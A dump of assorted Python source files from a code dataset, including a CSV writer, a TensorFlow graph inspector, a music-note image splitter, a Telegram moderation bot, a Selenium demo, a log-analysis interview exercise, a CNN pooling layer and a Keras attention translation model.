fieldnames:\n if fn in formatd:\n the_fmt = formatd[fn]\n if isinstance(the_fmt, (str, unicode)):\n if isinstance(rec[fn][0], (date, datetime)) :\n formaters[fn] = lambda dt: dt.strftime(formatd[fn])\n else:\n formaters[fn] = lambda val: formatd[fn] % (val, )\n elif callable(the_fmt):\n formaters[fn] = the_fmt\n else:\n sys.stderr.write('Warning: given formater for field %s : %s is not callable. Not using.\\n' % (fn, the_fmt))\n formaters[fn] = str\n else:\n formaters[fn] = str\n if isinstance(f, (str, unicode)):\n f = open(f, 'w')\n f.write(delimiter.join(fieldnames))\n f.write('\\n')\n for i in range(len(rec)):\n try:\n to_write = [formaters[fn](rec[fn][i]) for fn in fieldnames]\n final_str = delimiter.join(to_write)\n f.write(final_str)\n f.write('\\n')\n \n except Exception as e:\n sys.stderr.write('%s\\n' % e)\n\n#if __name__ == \"__main__\":\n# from matplotlib import mlab\n# rec = mlab.csv2rec('./test.csv')\n# print rec\n# rec2csv_neat(rec, './testout.csv', formatd={'datetime':\"%Y%m%d\", 'lc':'%.3f','std':'%.9f'})\n","sub_path":"metlib/io/rec2csv_neat.py","file_name":"rec2csv_neat.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"123160720","text":"import tensorflow as tf\nimport sys\nimport json\n\ndef usage(argv):\n print(\"{} \".format(argv[0]))\n\nif __name__ == \"__main__\":\n try:\n path = sys.argv[1]\n except IndexError:\n usage(sys.argv)\n sys.exit(1)\n\n # Ref: https://stackoverflow.com/questions/43517959/given-a-tensor-flow-model-graph-how-to-find-the-input-node-and-output-node-name\n gf = tf.GraphDef()\n with open(path, 'rb') as fin:\n gf.ParseFromString(fin.read())\n\n nodes = [n.name + '=>' + n.op for n in gf.node]\n nodes = json.dumps(nodes, indent=4)\n\n nodes_io = [n.name + '=>' + n.op for n in gf.node if n.op in ('Placeholder') or n.name in ('embeddings')]\n nodes_io = json.dumps(nodes_io, indent=4)\n\n print(\"All nodes:\")\n print(nodes)\n\n print(\"IO nodes:\")\n print(nodes_io)\n\n # Another way: first import the model to the current graph,\n # Then inspect the ops and tensors from the current graph\n # Ref: https://www.tensorflow.org/guide/graphs\n tf.import_graph_def(gf, name=\"\")\n g = tf.get_default_graph()\n ops=g.get_operations()\n ops=[op.name for op in ops]\n ops=json.dumps(ops, indent=4)\n print(\"Ops:\")\n print(ops)","sub_path":"misc/inspect_model.py","file_name":"inspect_model.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"224040433","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 18 12:24:34 2021\n\n@author: fritz\n\"\"\"\n\n'''IMPORTANT directories beginning with '_' are not gonna be processed '''\n\nfrom PIL import Image\nimport numpy as np\nimport sys, os, shutil\nimport Union_and_Find\n\nthresh = 140\nfn = lambda x : 255 if x > thresh else 0\n\namount_black_pixel_deviation = 1.4\ntresh_delete_noise_of_marked_cols = 0.00\nseperate_width = 1/10 #per cent of the line width\n\ndir_to_save = \"separated_notes\"\ndir_to_open = \"groups_to_separate\"\n\ndef main(): \n for dirName, subdirList, fileList in os.walk(dir_to_open):\n split = dirName.split('/')\n \n if len(split) > 2:\n \n test_name = split[1]\n line_name = split[2] \n out_dir = \"{}/{}/{}\".format(dir_to_save, test_name, line_name)\n \n for fName in fileList:\n fName.strip()\n\n if test_name[0] == '_':\n continue\n \n print(dirName, fName)\n img = Image.open(\"{}/{}\".format(dirName,fName))\n np_img = np.asarray(img)\n img = img.convert('L').point(fn, mode='1')\n\n len_width = np_img.shape[1]\n len_height = np_img.shape[0]\n \n global tresh_pixel_to_separate\n tresh_pixel_to_separate = int (len_width * seperate_width)\n \n col_index = 0\n counter = 0 \n number_of_cols = 10\n \n amount_black_pixel_array = np.zeros(number_of_cols, dtype=int)\n \n while amount_black_pixel_array[number_of_cols-1] == 0:\n col = np_img[:, col_index].tolist()\n spaces_between_lines, amount_black_pixel = calc_spaces_between_lines(col)\n \n if is_matching_pattern(spaces_between_lines):\n amount_black_pixel_array[counter] = amount_black_pixel\n counter += 1 \n \n col_index += 1\n \n\n amount_black_pixel = int(amount_black_pixel_array.mean())\n \n marked_cols = mark_col_true_if_is_on_a_note(amount_black_pixel, np_img, len_width, len_height)\n\n #distribution = calc_distribution_of_amount_of_related_black_pixel(marked_cols)\n #marked_cols = delete_noise_of_marked_cols(marked_cols, distribution)\n \n notes = create_list_of_notes(marked_cols)\n\n convert_notes_to_images(notes, out_dir, fName, np_img)\n\n\ndef calc_spaces_between_lines(col):\n is_between_to_lines = False\n is_prev_black = False\n \n spaces_between_lines = []\n \n pixel_between_lines = 0\n amout_black_pixel = 0\n \n for pixel in col:\n if is_between_to_lines and isWhite(pixel):\n pixel_between_lines += 1\n \n elif is_between_to_lines and isBlack(pixel) and not is_prev_black:\n amout_black_pixel += 1\n spaces_between_lines.append(pixel_between_lines)\n is_prev_black = True\n is_between_to_lines = False\n pixel_between_lines = 0\n \n elif is_prev_black and isWhite(pixel):\n is_prev_black = False\n is_between_to_lines = True \n \n pixel_between_lines += 1\n \n elif isBlack(pixel):\n is_prev_black = True\n amout_black_pixel += 1\n \n return spaces_between_lines, amout_black_pixel\n\n\ndef is_matching_pattern(spaces_between_lines):\n spaces_between_lines = np.asarray(spaces_between_lines)\n \n len_spaces_between_lines = len(spaces_between_lines) \n \n if len_spaces_between_lines == 0:\n return False \n \n union_and_find = Union_and_Find.Union_and_Find(spaces_between_lines, 3)\n union_and_find.calc_eq_classes()\n union_and_find.sort_eq_classes_by_members_descending()\n \n biggest = union_and_find.eq_classes.pop(0)\n \n nr_of_lines = (len_spaces_between_lines + 1) / 5\n \n len_matches = nr_of_lines == int(nr_of_lines)\n \n if biggest.amount_of_members % 4 == 0 and len_matches:\n return True\n else: \n return False\n\n \ndef isBlack(pixel):\n if pixel == True:\n return False \n else:\n return True\n \n \ndef isWhite(pixel):\n return not isBlack(pixel)\n\ndef calc_amount_black_pixel_in_col(col):\n amount_black_pixel = 0\n \n for pixel in col:\n if isBlack(pixel):\n amount_black_pixel += 1\n \n return amount_black_pixel\n \n\ndef mark_col_true_if_is_on_a_note(amount_black_pixel, np_img, len_width, len_height):\n #marked_cols = np.empty(len_width,dtype=bool)\n marked_cols = []\n \n for i in range(0, len_width):\n col = np_img[:,i].tolist()\n amount_black_pixel_in_col = calc_amount_black_pixel_in_col(col)\n \n upper_bound = amount_black_pixel + amount_black_pixel * amount_black_pixel_deviation\n \n if amount_black_pixel_in_col > upper_bound:\n marked_cols.append(True)\n else:\n marked_cols.append(False)\n\n \n\n return marked_cols\n\ndef create_list_of_notes(marked_cols):\n is_on_a_note = False\n dist_to_prev_note = sys.maxsize\n \n notes = []\n index = 0;\n for col in marked_cols:\n if is_note_col(col) and dist_to_prev_note > tresh_pixel_to_separate and not is_on_a_note:\n #TODO : setting index to 0 if index - tresh_pixel_to_separate < 0 might cause problems\n index_lower = max(0, index - tresh_pixel_to_separate)\n note = [index_lower]\n \n dist_to_prev_note = 1\n is_on_a_note = True \n \n elif not is_note_col(col) and dist_to_prev_note > tresh_pixel_to_separate and is_on_a_note:\n note.append(index)\n notes.append(note)\n \n is_on_a_note = False\n dist_to_prev_note += 1\n \n elif not is_note_col(col) and dist_to_prev_note <= tresh_pixel_to_separate and is_on_a_note:\n dist_to_prev_note += 1\n \n elif is_note_col(col):\n dist_to_prev_note = 1 \n \n else:\n dist_to_prev_note += 1\n \n \n index += 1\n \n if is_on_a_note:\n notes.append([index_lower, index - 1])\n \n return notes\n\ndef is_note_col(col):\n if col == True:\n return True\n else:\n return False\n \ndef convert_notes_to_images(notes, out_dir, fName, np_img):\n index = 0\n fName = fName[:-4]\n for note in notes:\n note_matrix = np_img[:, note[0]:note[1]]\n note_img = Image.fromarray(note_matrix)\n note_img.save(\"{}/{}_{}.png\".format(out_dir, fName, index))\n index += 1\n \n\ndef calc_distribution_of_amount_of_related_black_pixel(marked_cols):\n is_prev_note_col = False\n actual_amount = 0\n \n distribution = []\n \n index_start = 0\n \n index = 0\n for col in marked_cols:\n \n if is_note_col(col) and is_prev_note_col == False:\n index_start = index\n is_prev_note_col = True\n actual_amount += 1\n \n if not is_note_col(col) and is_prev_note_col == True:\n distribution.append((actual_amount, index_start))\n actual_amount = 0 \n is_prev_note_col = False\n \n if is_note_col(col) and is_prev_note_col == True:\n actual_amount += 1\n \n index += 1\n \n return distribution\n\ndef delete_noise_of_marked_cols(marked_cols, distribution):\n np_marked_cols = np.array(marked_cols)\n sorted_distribution = sorted(distribution, key=lambda x: x[0])\n max_pixel = sorted_distribution.pop()[0]\n \n tresh = int(tresh_delete_noise_of_marked_cols * max_pixel) + 1\n \n to_delete = [] \n \n for actual in sorted_distribution:\n if actual[0] < tresh:\n to_delete.append(actual) \n else: \n break\n\n \n for actual in to_delete:\n index_start = actual[1]\n index_stop = actual[1] + actual[0]\n for i in range(index_start, index_stop):\n np_marked_cols[i] = False \n \n \n return np_marked_cols.tolist()\n \nif __name__==\"__main__\": \n main() \n\n","sub_path":"object_detection/separate_groups_of_notes.py","file_name":"separate_groups_of_notes.py","file_ext":"py","file_size_in_byte":8322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"221961414","text":"# -*- coding: utf-8 -*-\n\nfrom flask import Flask, render_template, url_for\nfrom scrollofsheep import tracker\n\napp = Flask(__name__)\ntemplate = 'default.html'\n\n@app.route('/')\ndef main():\n t = tracker.web_track()\n device_data = t.item_data()\n return render_template(template, device_data=device_data)\n\nif __name__ == '__main__':\n app.run()","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"223640042","text":"# coding=utf-8\nimport time\nimport random\nimport telebot\nfrom telebot import types\n\nbot = telebot.TeleBot(\"token\")\n\nprint(\"Бот запущен\\nСоедениние\")\nbot.send_message(-1001160331786, \"Бот запущен\")\n\n@bot.message_handler(content_types=[\"new_chat_members\"])\ndef default_test(message):\n bot.send_message(message.chat.id, \"Привет! Обязательно прочитай [правила](https://t.me/animedev/101159).\", parse_mode='Markdown')\n\n@bot.message_handler(commands=[\"banme\"])\ndef default_tesdt(message):\n if bot.get_chat_member(message.chat.id, message.from_user.id).status == \"member\":\n rand = random.randint(100, 1000)\n bot.send_message(message.chat.id,\n \"[{0}](tg://user?id={1}) \".format(message.from_user.first_name, message.from_user.id)\n + \"СОЖЖЕН. По собственному желанию.\" + \"\\nНа \" + str(rand) + \" сек.\",\n parse_mode='Markdown')\n bot.restrict_chat_member(message.chat.id, message.from_user.id, int(time.time() + rand),\n can_send_messages=False)\n else:\n bot.reply_to(message,\n \"[{0}](tg://user?id={1}) \".format(message.from_user.first_name, message.from_user.id)\n + \"Извините, вы администратор чата.\\nИли уже забанены.\",\n parse_mode='Markdown')\n\n@bot.message_handler(commands = [\"mute\"])\ndef mute(msg):\n try:\n if bot.get_chat_member(msg.chat.id, msg.from_user.id).status != \"member\":\n if bot.get_chat_member(msg.chat.id, msg.reply_to_message.from_user.id).status == \"member\":\n if msg.reply_to_message is not None:\n if 1 < len(msg.text.split(\" \")) < 3:\n bantime = int(\" \".join(msg.text.split(' ')[1:]))\n if bantime > 30 and bantime < 9999999:\n bot.send_message(msg.chat.id, \"[{0}](tg://user?id={1}) \"\n .format(msg.reply_to_message.from_user.first_name,\n msg.reply_to_message.from_user.id, ) +\n \"Забанен на \" + str(bantime) + \" сек \",\n parse_mode='Markdown')\n bot.restrict_chat_member(msg.chat.id, msg.reply_to_message.from_user.id,\n int(time.time() + bantime),\n can_send_messages=False)\n else:\n bot.send_message(msg.chat.id,\n \"Число \" + str(\n bantime) + \" слишком большое или маленькое.\\nДиапозон 30-9999999\")\n else:\n bot.send_message(msg.chat.id, \"Некоректное время\")\n else:\n bot.send_message(msg.chat.id, \"Используй только реплаем!\")\n else:\n bot.send_message(msg.chat.id, \"Пользователь является администратором\")\n else:\n bot.send_message(msg.chat.id, \"Вы не администратор чата.\")\n except ValueError:\n bot.send_message(msg.chat.id, \"Некоректное время бана\")\n\n\n@bot.message_handler(commands = [\"stop\"])\ndef stop(msg):\n bot.send_message(-1001160331786, \"Бот отключен\")\n\nif __name__ == '__main__':\n bot.polling(none_stop=True, timeout=120)\n","sub_path":"animedev.py","file_name":"animedev.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"21038393","text":"#开发者:一只小菜鸟\n#2020/7/15 0:36\n#导入模块\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport time\n#创建浏览器驱动对象\ndriver = webdriver.Chrome(\"D:\\\\ruanjian\\chromedriver\\chromedriver.exe\")\n#访问网址\ndriver.get(\"https://www.baidu.com/\")\nele = driver.find_element_by_name(\"tj_briicon\")\n#对定位的元素进行悬停操作\nActionChains(driver).move_to_element(ele).perform()\n#对定位的元素进行右键操作\nActionChains(driver).context_click(ele).perform()\n#双击\nActionChains(driver).double_click(ele).perform()\n\n#访问网址\ndriver.get(\"D:\\github\\Project\\\\test\\selenium_class\\day4\\\\test2.html\")\n#定位要拖动的元素\nele1 = driver.find_element_by_id(\"blackSquare\")\n#定位到目标元素\nele2 = driver.find_element_by_id(\"targetEle\")\n\nActionChains(driver).drag_and_drop(ele1,ele2).perform()","sub_path":"test/selenium_class/day4/3鼠标事件.py","file_name":"3鼠标事件.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"410468165","text":"logs1 = [\n[\"58523\", \"user_1\", \"resource_1\"],\n[\"62314\", \"user_2\", \"resource_2\"],\n[\"54001\", \"user_1\", \"resource_3\"],\n[\"200\", \"user_6\", \"resource_5\"],\n[\"215\", \"user_6\", \"resource_4\"],\n[\"54060\", \"user_2\", \"resource_3\"],\n[\"53760\", \"user_3\", \"resource_3\"],\n[\"58522\", \"user_22\", \"resource_1\"],\n[\"53651\", \"user_5\", \"resource_3\"],\n[\"2\", \"user_6\", \"resource_1\"],\n[\"100\", \"user_6\", \"resource_6\"],\n[\"400\", \"user_7\", \"resource_2\"],\n[\"100\", \"user_8\", \"resource_6\"],\n[\"54359\", \"user_1\", \"resource_3\"],\n]\n\nlogs2 = [\n[\"300\", \"user_1\", \"resource_3\"],\n[\"599\", \"user_1\", \"resource_3\"],\n[\"900\", \"user_1\", \"resource_3\"],\n[\"1199\", \"user_1\", \"resource_3\"],\n[\"1200\", \"user_1\", \"resource_3\"],\n[\"1201\", \"user_1\", \"resource_3\"],\n[\"1202\", \"user_1\", \"resource_3\"]\n]\n\nimport collections \n# question 1\ndef getUserMaxMinAccessTime(logs):\n dctUser2Time = dict()\n for time, user, resource in logs:\n if user not in dctUser2Time:\n dctUser2Time[user] = [2**32, -2*32] # [min, max]\n dctUser2Time[user][0] = min(dctUser2Time[user][0], int(time))\n dctUser2Time[user][1] = max(dctUser2Time[user][1], int(time))\n return dctUser2Time\n# print(getUserMaxMinAccessTime(logs1))\n\n# question 2\ndef getHighestAccessedResource(logs):\n dctResource2Freq = collections.defaultdict(int)\n time2resource = [(int(time), resource) for time, _, resource in logs]\n time2resource.sort(key = lambda x: x[0])\n # print(time2resource)\n left, right = 0, 0\n max_accessed_resource = ''\n max_freq = 0\n while right < len(time2resource):\n while time2resource[right][0] - time2resource[left][0] <= 300:\n enter_r = time2resource[right][1]\n dctResource2Freq[enter_r] += 1\n # print('***', enter_r, dctResource2Freq)\n if dctResource2Freq[enter_r] > max_freq:\n max_freq = dctResource2Freq[enter_r]\n max_accessed_resource = enter_r\n right += 1\n if right == len(time2resource):\n break\n exit_r = time2resource[left][1]\n dctResource2Freq[exit_r] -= 1\n left += 1\n return max_accessed_resource, max_freq\nprint(getHighestAccessedResource(logs1))\n\n# question 3\ndef getTransitionGraph(logs):\n dctUser2TimeResource = collections.defaultdict(list)\n for time, user, resource in logs:\n dctUser2TimeResource[user].append((int(time), resource))\n\n dctResource2Next = collections.defaultdict(list)\n for user, time_resource in dctUser2TimeResource.items():\n time_resource.sort(key = lambda x: x[0])\n cur_resource = 'START'\n for i in range(len(time_resource)):\n next_resource = time_resource[i][1]\n dctResource2Next[cur_resource].append(next_resource)\n cur_resource = next_resource\n dctResource2Next[cur_resource].append('END')\n # print(dctResource2Next)\n \n dctGraph = collections.defaultdict(list)\n for key, lstResource in dctResource2Next.items():\n for r in set(lstResource):\n prob = lstResource.count(r) / float(len(lstResource))\n prob = round(prob, 3)\n dctGraph[key].append((r, prob))\n return dctGraph\n\nprint(getTransitionGraph(logs1))\n\n\"\"\"\n第二题: Resource Access Log\nSuppose we have an unsorted log file of accesses to web resources. \nEach log entry consists of an access time, the ID of the user making the access, and the resource ID.\nThe access time is represented as seconds since 00:00:00, and all times are assumed to be in the same day.\nFor example:\nlogs1 = [\n[\"58523\", \"user_1\", \"resource_1\"],\n[\"62314\", \"user_2\", \"resource_2\"],\n[\"54001\", \"user_1\", \"resource_3\"],\n[\"200\", \"user_6\", \"resource_5\"],\n[\"215\", \"user_6\", \"resource_4\"],\n[\"54060\", \"user_2\", \"resource_3\"],\n[\"53760\", \"user_3\", \"resource_3\"],\n[\"58522\", \"user_22\", \"resource_1\"],\n[\"53651\", \"user_5\", \"resource_3\"],\n[\"2\", \"user_6\", \"resource_1\"],\n[\"100\", \"user_6\", \"resource_6\"],\n[\"400\", \"user_7\", \"resource_2\"],\n[\"100\", \"user_8\", \"resource_6\"],\n[\"54359\", \"user_1\", \"resource_3\"],\n]\nExample 2:\nlogs2 = [\n[\"300\", \"user_1\", \"resource_3\"],\n[\"599\", \"user_1\", \"resource_3\"],\n[\"900\", \"user_1\", \"resource_3\"],\n[\"1199\", \"user_1\", \"resource_3\"],\n[\"1200\", \"user_1\", \"resource_3\"],\n[\"1201\", \"user_1\", \"resource_3\"],\n[\"1202\", \"user_1\", \"resource_3\"]\n]\nQuestion 1 - Write a function that takes the logs and returns each users min and max access timestamp\nExample Output:\nuser_3:[53760,53760]\nuser_2:[54060,62314]\nuser_1:[54001,58523]\nuser_7:[400,400]\nuser_6:[2,215]\nuser_5:[53651,53651]\nuser_4:[58522,58522]\nuser_8:[100,100]\n*/\n\n第二题 FollowUp:\n/*\nQuestion 2 - Write a function that takes the logs and returns the resource with the highest number of accesses \nin any 5 minute window, together with how many accesses it saw.\nExpected Output:\nmost_requested_resource(logs1) # => ('resource_3', 3) \n\n第二题 Follow Up Question 3 -\nWrite a function that takes the logs as input, builds the transition graph and returns it as an adjacency \nlist with probabilities. Add START and END states. \nSpecifically, for each resource, we want to compute a list of every possible next step taken by any user, \ntogether with the corresponding probabilities. The list of resources should include START but not END, \nsince by definition END is a terminal state.\n\nExpected output for logs1:\ntransition_graph(logs1) # =>\n{{\n'START': {'resource_1': 0.25, 'resource_2': 0.125, 'resource_3': 0.5, 'resource_6': 0.125},\n'resource_1': {'resource_6': 0.333, 'END': 0.667},\n'resource_2': {'END': 1.0},\n'resource_3': {'END': 0.4, 'resource_1': 0.2, 'resource_2': 0.2, 'resource_3': 0.2},\n'resource_4': {'END': 1.0},\n'resource_5': {'resource_4': 1.0},\n'resource_6': {'END': 0.5, 'resource_5': 0.5}\n}}\nFor example, of 8 total users, 4 users have resource_3 as a first visit (user_1, user_2, user_3, user_5), \n2 users have resource_1 as a first visit (user_6, user_22), \n1 user has resource_2 as a first visit (user_7), and 1 user has resource_6 (user_8) \nso the possible next steps for START are resource_3 with probability 4/8, resource_1 with probability 2/8, \nand resource_2 and resource_6 with probability 1/8.\nThese are the resource paths per user for the first logs example, ordered by access time:\n{{\n'user_1': ['resource_3', 'resource_3', 'resource_1'],\n'user_2': ['resource_3', 'resource_2'],\n'user_3': ['resource_3'],\n'user_5': ['resource_3'],\n'user_6': ['resource_1', 'resource_6', 'resource_5', 'resource_4'],\n'user_7': ['resource_2'],\n'user_8': ['resource_6'],\n'user_22': ['resource_1'],\n}}\nEx‍‍‍‍‌‌‍‌‍‍‍‌‌‍‍‍pected output for logs2:\ntransition_graph(logs2) # =>\n{{\n'START': {'resource_3': 1.0},\n'resource_3': {'resource_3: 0.857, 'END': 0.143}\n}\n\"\"\"","sub_path":"OutOfBag/Robinhood/resource_access_log.py","file_name":"resource_access_log.py","file_ext":"py","file_size_in_byte":6674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"125807475","text":"from contextlib import contextmanager\n\n@contextmanager\ndef shallow_bind(env, keys):\n bk = tuple(env.get(k) for k in keys)\n yield\n for k, v in zip(keys, bk):\n env[k] = v\n\n@contextmanager\ndef pythonpath(new_pythonpath):\n import sys\n old_pythonpath = sys.path\n sys.path = new_pythonpath\n yield\n sys.path = old_pythonpath\n\n@contextmanager\ndef tempdir():\n from shutil import rmtree\n from tempfile import mkdtemp\n d = mkdtemp()\n yield d\n rmtree(d)\n\n@contextmanager\ndef pushd(there):\n from os import chdir, getcwd\n here = getcwd()\n chdir(there)\n yield\n chdir(here)\n","sub_path":"apymake/lib/cm.py","file_name":"cm.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"62994284","text":"import numpy as np\nfrom util import pooling2d\n\n\nclass Pooling2D(object):\n def __init__(self, pool_shape, stride, padding = 0, pool_mode = 'max'):\n # FEATURE MAP INPUT SHAPE:\n # 0: width\n # 1: height\n # 2: channel\n self.pool_shape = pool_shape\n self.stride = stride\n self.padding = padding\n self.pool_mode = pool_mode\n self.activation = lambda x: x\n self.activation_deriv = lambda x: 1\n self.input_shape = None\n self.output_shape = None\n\n self.backward_delta = {\n 'max': self.maximum_backward_delta,\n 'avg': self.average_backward_delta\n }\n\n self.updateWBO()\n\n def updateInputShape(self, input_shape):\n self.input_shape = input_shape\n self.updateWBO()\n\n def updateWBO(self):\n if (self.input_shape != None):\n self.output_shape = (((self.input_shape[0] + 2*self.padding - self.pool_shape[0])) // self.stride + 1,\n ((self.input_shape[1] + 2*self.padding - self.pool_shape[1])) // self.stride + 1,\n (self.input_shape[-1]))\n\n def getSaveData(self):\n data = {\n 'name': 'Pooling2D',\n 'input_shape' : self.input_shape,\n 'pool_shape': self.pool_shape,\n 'stride': self.stride,\n 'padding': self.padding,\n 'pool_mode': self.pool_mode\n }\n\n return data\n\n def loadData(self, data):\n pass\n\n def forward(self, feature_maps):\n assert self.input_shape == feature_maps.shape[1:]\n result = np.zeros((\n feature_maps.shape[0], # num_of_feature_maps\n ((feature_maps.shape[1] + self.padding - self.pool_shape[0]) // self.stride) + 1, # width\n ((feature_maps.shape[2] + self.padding - self.pool_shape[1]) // self.stride) + 1, # height\n feature_maps.shape[3] # channel\n ))\n for idx, fmap in enumerate(feature_maps):\n result[idx] = pooling2d(fmap, self.pool_shape, self.stride, self.padding, self.pool_mode)\n\n self.output_shape = result.shape\n return result\n\n def average_backward_delta(self, neuron_input, delta, current_element, dx):\n each_batch, each_row, each_col, each_channel = current_element\n \n temp_pool = neuron_input[\n each_batch,\n (each_row * self.stride):(each_row * self.stride + self.pool_shape[0]),\n (each_col * self.stride):(each_col * self.stride + self.pool_shape[1]),\n each_channel\n ]\n\n # average = delta divided by input shape (width and height)\n average_delta = delta[each_batch, each_row, each_col, each_channel] / temp_pool.shape[0] / temp_pool.shape[1]\n\n dx[\n each_batch,\n (each_row * self.stride):(each_row * self.stride + self.pool_shape[0]),\n (each_col * self.stride):(each_col * self.stride + self.pool_shape[1]),\n each_channel\n ] += np.ones((temp_pool.shape[0], temp_pool.shape[1])) * average_delta\n return dx\n\n def maximum_backward_delta(self, neuron_input, delta, current_element, dx):\n each_batch, each_row, each_col, each_channel = current_element\n\n temp_pool = neuron_input[\n each_batch,\n (each_row * self.stride):(each_row * self.stride + self.pool_shape[0]),\n (each_col * self.stride):(each_col * self.stride + self.pool_shape[1]),\n each_channel\n ]\n # Mask True if element in pool is the max of the pool, else False\n masking = (temp_pool == np.max(temp_pool))\n dx[\n each_batch,\n (each_row * self.stride):(each_row * self.stride + self.pool_shape[0]),\n (each_col * self.stride):(each_col * self.stride + self.pool_shape[1]),\n each_channel\n ] += masking * delta[each_batch, each_row, each_col, each_channel]\n\n return dx\n\n def calcPrevDelta(self, neuron_input, delta, debug=False):\n dx = np.zeros(neuron_input.shape)\n\n for each_batch in range(delta.shape[0]):\n for each_row in range(delta.shape[1]):\n for each_col in range(delta.shape[2]):\n for each_channel in range(delta.shape[3]):\n # store each range variable to a variable, passing it easier to backward delta function\n current_element = [each_batch, each_row, each_col, each_channel]\n if (debug):\n print(\"Current Element:\\n batch :\", each_batch)\n print(\" row :\", each_row)\n print(\" column :\", each_col)\n print(\" channel:\", each_channel)\n dx = self.backward_delta[self.pool_mode](neuron_input, delta, current_element, dx)\n if (debug):\n print(\"\\n\\nDX in this element batch after backward delta\", dx)\n print(\"=============================================\")\n\n return dx\n\n def backprop(self, neuron_input, delta, lr=0.001, debug=False):\n # no weight to update, only pass the error to previous layer\n return np.zeros(()), np.zeros(())\n\n def updateWeight(self, deltaWeight, deltaBias, debug=False):\n # no weight to update, only pass the error to previous layer\n pass\n","sub_path":"src/pooling2d.py","file_name":"pooling2d.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"156589125","text":"from tensorflow.python.keras.layers import Input, GRU, Dense, Concatenate, TimeDistributed, Bidirectional, Embedding\nfrom tensorflow.python.keras.models import Model\nfrom attention import AttentionLayer\n\n\ndef define_nmt(hidden_size, batch_size, eng_timesteps, eng_vocab_size, ger_timesteps, ger_vocab_size):\n \"\"\" Defining a NMT model \"\"\"\n\n # Define an input sequence and process it.\n embedding_size = 100\n if batch_size:\n encoder_inputs = Input(batch_shape=(batch_size, eng_timesteps), name='encoder_inputs')\n decoder_inputs = Input(batch_shape=(batch_size, ger_timesteps - 1), name='decoder_inputs')\n # else:\n # encoder_inputs = Input(shape=(eng_timesteps), name='encoder_inputs')\n # decoder_inputs = Input(shape=(fr_timesteps - 1, fr_vsize), name='decoder_inputs')\n\n encoder_embedding = Embedding(input_dim = eng_vocab_size, output_dim = embedding_size)\n embedded_encoder_inputs = encoder_embedding(encoder_inputs)\n # Encoder GRU\n encoder_gru = Bidirectional(GRU(hidden_size, return_sequences=True, return_state=True, name='encoder_gru'), name='bidirectional_encoder')\n encoder_out, encoder_fwd_state, encoder_back_state = encoder_gru(embedded_encoder_inputs)\n\n decoder_embedding = Embedding(input_dim = ger_vocab_size, output_dim = embedding_size)\n embedded_decoder_inputs = decoder_embedding(decoder_inputs)\n # Set up the decoder GRU, using `encoder_states` as initial state.\n decoder_gru = Bidirectional(GRU(hidden_size, return_sequences=True, return_state=True, name='decoder_gru'), name='bidirectional_decoder')\n decoder_out, decoder_fwd_state, decoder_back_state = decoder_gru(embedded_decoder_inputs, initial_state=[encoder_fwd_state, encoder_back_state])\n\n # Attention layer\n attn_layer = AttentionLayer(name='attention_layer')\n attn_out, attn_states = attn_layer([encoder_out, decoder_out])\n\n # Concat attention input and decoder GRU output\n decoder_concat_input = Concatenate(axis=-1, name='concat_layer')([decoder_out, attn_out])\n\n # Dense layer\n dense = Dense(ger_vocab_size, activation='softmax', name='softmax_layer')\n dense_time = TimeDistributed(dense, name='time_distributed_layer')\n decoder_pred = dense_time(decoder_concat_input)\n\n # Full model\n full_model = Model(inputs=[encoder_inputs, decoder_inputs], outputs=decoder_pred)\n full_model.compile(optimizer='adam', loss='categorical_crossentropy')\n\n full_model.summary()\n\n \"\"\" Inference model \"\"\"\n batch_size = 1\n\n \"\"\" Encoder (Inference) model \"\"\"\n encoder_inf_inputs = Input(batch_shape=(batch_size, eng_timesteps), name='encoder_inf_inputs')\n encoder_inf_embedded_inputs = encoder_embedding(encoder_inf_inputs)\n encoder_inf_out, encoder_inf_fwd_state, encoder_inf_back_state = encoder_gru(encoder_inf_embedded_inputs)\n encoder_model = Model(inputs=encoder_inf_inputs, outputs=[encoder_inf_out, encoder_inf_fwd_state, encoder_inf_back_state])\n\n \"\"\" Decoder (Inference) model \"\"\"\n decoder_inf_inputs = Input(batch_shape=(batch_size, 1), name='decoder_word_inputs')\n encoder_inf_states = Input(batch_shape=(batch_size, eng_timesteps, 2*hidden_size), name='encoder_inf_states')\n decoder_init_fwd_state = Input(batch_shape=(batch_size, hidden_size), name='decoder_fwd_init')\n decoder_init_back_state = Input(batch_shape=(batch_size, hidden_size), name='decoder_back_init')\n\n decoder_inf_embedded_inputs = decoder_embedding(decoder_inf_inputs)\n decoder_inf_out, decoder_inf_fwd_state, decoder_inf_back_state = decoder_gru(decoder_inf_embedded_inputs, initial_state=[decoder_init_fwd_state, decoder_init_back_state])\n attn_inf_out, attn_inf_states = attn_layer([encoder_inf_states, decoder_inf_out])\n decoder_inf_concat = Concatenate(axis=-1, name='concat')([decoder_inf_out, attn_inf_out])\n decoder_inf_pred = TimeDistributed(dense)(decoder_inf_concat)\n decoder_model = Model(inputs=[encoder_inf_states, decoder_init_fwd_state, decoder_init_back_state, decoder_inf_inputs],\n outputs=[decoder_inf_pred, attn_inf_states, decoder_inf_fwd_state, decoder_inf_back_state])\n # encoder_model = \"\"\n # decoder_model = \"\"\n return full_model, encoder_model, decoder_model\n\n\nif __name__ == '__main__':\n\n \"\"\" Checking nmt model for toy examples \"\"\"\n define_nmt(64, None, 20, 30, 20, 